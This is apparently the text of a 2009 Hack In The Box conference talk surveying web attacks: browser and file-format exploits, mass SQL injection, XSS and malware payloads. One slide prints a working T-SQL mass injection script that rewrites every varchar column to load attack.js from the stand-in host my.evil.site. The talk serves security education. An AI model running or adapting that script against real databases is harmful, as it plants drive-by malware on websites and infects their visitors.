Pwnage 2.0
How to own the world

Saumil Shah
CEO, Net-Square

Hack In The Box 2009 – Dubai
# who am i

16:08  up  4:26, 1 user, load averages: 0.28 0.40 0.33
USER   TTY      FROM               LOGIN@  IDLE  WHAT
saumil console -         11:43  0:05  bash

• Saumil Shah
ceo, net-square solutions
saumil@net-square.com

instructor: "The Exploit Laboratory"
author: "Web Hacking - Attacks and Defense"
EVERYBODY WANTS TO RULE THE WORLD
Pwnage 2.0

- The Eco System of Attacks
- It is all about NUMBERS
- How many computers can we control?
  - and what do we do with them?
- Small windows of opportunity
- How can we get control of machines very fast?
The Attack Surface

Browsers

Web Apps
Makes sense?
The Eco System of Attacks

Browser Exploits

File Format Exploits

Mass Ownage

Old sk00l web hacking

Clever Payloads
Browser Exploits

• One born every minute
  • IE XML
  • MS02-009
  • Safari and Quicktime
  • IE8, FF3.1, Safari 4 – all pwned at Cansecwest

• Core browser components
• Plugins
No hope for browsers
Browser Architecture

user loaded content
<img> <iframe> <script>
<object> <div> <style>
<embed> <span> <table>
<form> <input> ... etc.

HTML+CSS
Javascript
DOM

Ajax/rich apps
Ajax libs

ActiveX
mime types
BHO
Flash
PDF
Quicktime
Media
File format exploits

- PDF
  - Adobe's bug went unpatched for a month
- Media codecs
- Image libraries
Mass delivery mechanisms

- Mass SQL Injection
- XSS
- SPAM
SQL Injection Discovery

ALL MEMO1'S URL FINISHED! ^_^ SEE LOG
An example

Konnichiwa Japan! Javascript tag injected by mass SQL injection

Indo-Japan Friendship Association to host a four-day Japanese Film Festival in Ahmedabad

Posted On Thursday, January 08, 2009 at 02:47:20 AM

A four-day Japanese film festival will be organised at the Ahmedabad Management Association. The four-day film festival begins on January 10 and would have on display an exhibition of Japanese kites and tops. There would also be a collection of photographs portraying the colours of Fall in Japan apart from showcasing award-winning Japanese films.
The SQL Injection script

declare @m varchar(8000);
set @m='';
select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,''+b.name+''))+'</script src="http://my.evil.site/attack.js"/>'+'';
from dbo.sysobjects objs, dbo.syscolumns cols, dbo.systypes typs
where objs.id=cols.id
and objs.xtype='U'
and cols.xtype=typs.xtype
and typs.name='varchar';
set @m=REVERSE(@m);
set @m=substring(@m,PATINDEX('%;%',@m),8000);
set @m=REVERSE(@m);
exec(@m);
Browsers
Plugins
Browser Exploits
Malware

email
PDF
Office docs
HTML
Javascript
AntiVirus

Google

SQL Injection
Web apps
XSS
Payloads

- Remote control utilities
- Botnet clients
- Keyloggers, screenshotters, etc
- Toolbars, browser plugins
- Obfuscation
  - Javascript encoding, encryption
  - No hope for AV
Shall we play a game Professor Falken?